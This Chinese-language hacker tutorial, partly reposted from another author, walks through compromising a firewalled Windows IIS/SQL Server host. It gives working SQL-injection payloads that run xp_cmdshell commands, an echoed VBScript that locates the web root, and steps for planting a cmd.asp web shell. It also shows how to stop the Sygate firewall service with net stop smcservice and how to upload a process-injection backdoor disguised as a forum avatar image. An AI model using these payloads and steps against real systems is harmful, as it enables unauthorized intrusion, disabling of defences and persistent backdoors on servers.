本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下。
首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息。再用nmap -sS IP -P0 -p 139 ,透过防火墙查看是否开有139端口。从上面得到的信息我们可以简单的判断到:主机A的系统是什么,装有防火墙的话,一般是只允许80端口开放的。如果能够泄漏asp源文件,当然是最好不过的了,但是一般难得遇到。如果主机A有show files之类的CGI漏洞,我们就可以试着看能不能从conn.inc等可能存放密码的文件得到有用的信息。
然后就要进入重点了,寻找突破口。由于主机A装有防火墙,所以就算其有其他的溢出漏洞都将会导致我们的不到shell(U漏洞就不讲了)。在这种情况下,一般容易找到突破口的地方就是主机A上的新闻发布系统、论坛、聊天室。在这三个地方里最容易出毛病的地方,不少人都认为是论坛,但是我在网上看到的大部分相关文章中发现漏洞的地方都是新闻发布系统。
好了,让我们先来试试看在新闻发布系统的*.asp后面加上单引号’,再提交。返回:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 26 行
或者是页面正常,但不能够显示新闻列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell ’iisreset /reboot’或是xp_cmdshell ’ping 你.的.I.P’,如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行。
现在我们将要想个办法获得shell了。利用xp_cmdshell我们可以直接添加系统账户,如果主机A没有防火墙的话,再用IPC种植者之类的工具就可以得到shell了,但是主机A是装有防火墙的,所以我们首先考虑得到web shell ,就算权限低一点都没有关系。
思路:
1)找到web目录的路径
2)用echo(也可利用sql表单)写入一个简单的cmd.asp,用来找到防火墙的具体名字等操作。
3)通过xp_cmdshell来关闭防火墙服务
要找到web目录的路径,在我看来有三种方法:一是,猜!什么c:\Inetpub\wwwroot c:\wwwroot c:\www 之类的。二是,主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径,还可以试试1’or’1那个著名漏洞 。三是czy82的方法(以下是转贴的):
********************************************************************
使用adsutil.vbs程序我是这样执行的
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--
是不是很长啦
通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中。
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)。
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--
.....xp_cmdshell ’echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs’;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline ""
---------------cut here--------------------------------------
第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行
http://x.x.x.x/dd.asp 返回:d:\xxx
看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
********************************************************************
这样就可以得到web目录的路径,然后用echo 写个cmd.asp到其目录下,这样我们就可以得到一个web shell了。有了这个shell,我们可以使用net start查看开有哪些服务,或是查看主机A的开始菜单,得到主机A所使用的防火墙名字,在通过xp_cmdshell将其关闭。比如a’;exec master..xp_cmdshell ’net stop smcservice’;--
(smcservice是sygate防火墙的服务名)。
上面讲的大部分都出自于czy82发表的《只开80端口主机的入侵思路(实战,原创)》一文。而我自己也想了一点。当我们得到web shell后,我们完全可以上传系统进程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell执行这个后门,就可以透过防火墙来了。至于怎样上传文件,一般去论坛部分找找回有不小的收获,比如将要上传的文件改为.jpg文件名,用于论坛头像的上传等方法。
上面讲了很多,你可能没有看出入侵的重点,我这里提出来:
1.找到存在sql注入毛病的asp文件,主要是看他是否过滤了引号和分号。
2.找到网站web的绝对路径,除文中提到了三种方法外,你还可以试着在1433里面将sa该密码,再回头调用asp文件,一般会出现错误并暴露绝对路径。
3.得到web shell后,最好是要能够找到一种上传文件到主机上去的方法,从而更快的得到有权限的shell。
另外,在讲讲论坛和聊天室部分,可以先试着用google搜索主机上使用的论坛,有的论坛(或聊天室)将论坛管理员的密码明文保存在一文件中,这样就可以直接用浏览器访问这个文件了。或者试试将show.asp?id=7之类的asp文件,改动ID后面的数7并提交,看能不能得到有用的信息。实在不行,还可以试试用跨站脚本攻击。如果是雷奥、动网之类的有名的论坛,这可以尝试着找找有没有新的漏洞报告之类的。
总之,一个网站要做的是一面墙,入侵者要做的就是在这堵墙上找缝隙钻进去。相比较而言,那个容易就不用我讲了。找不找得到,就是看我们的技术水平问题了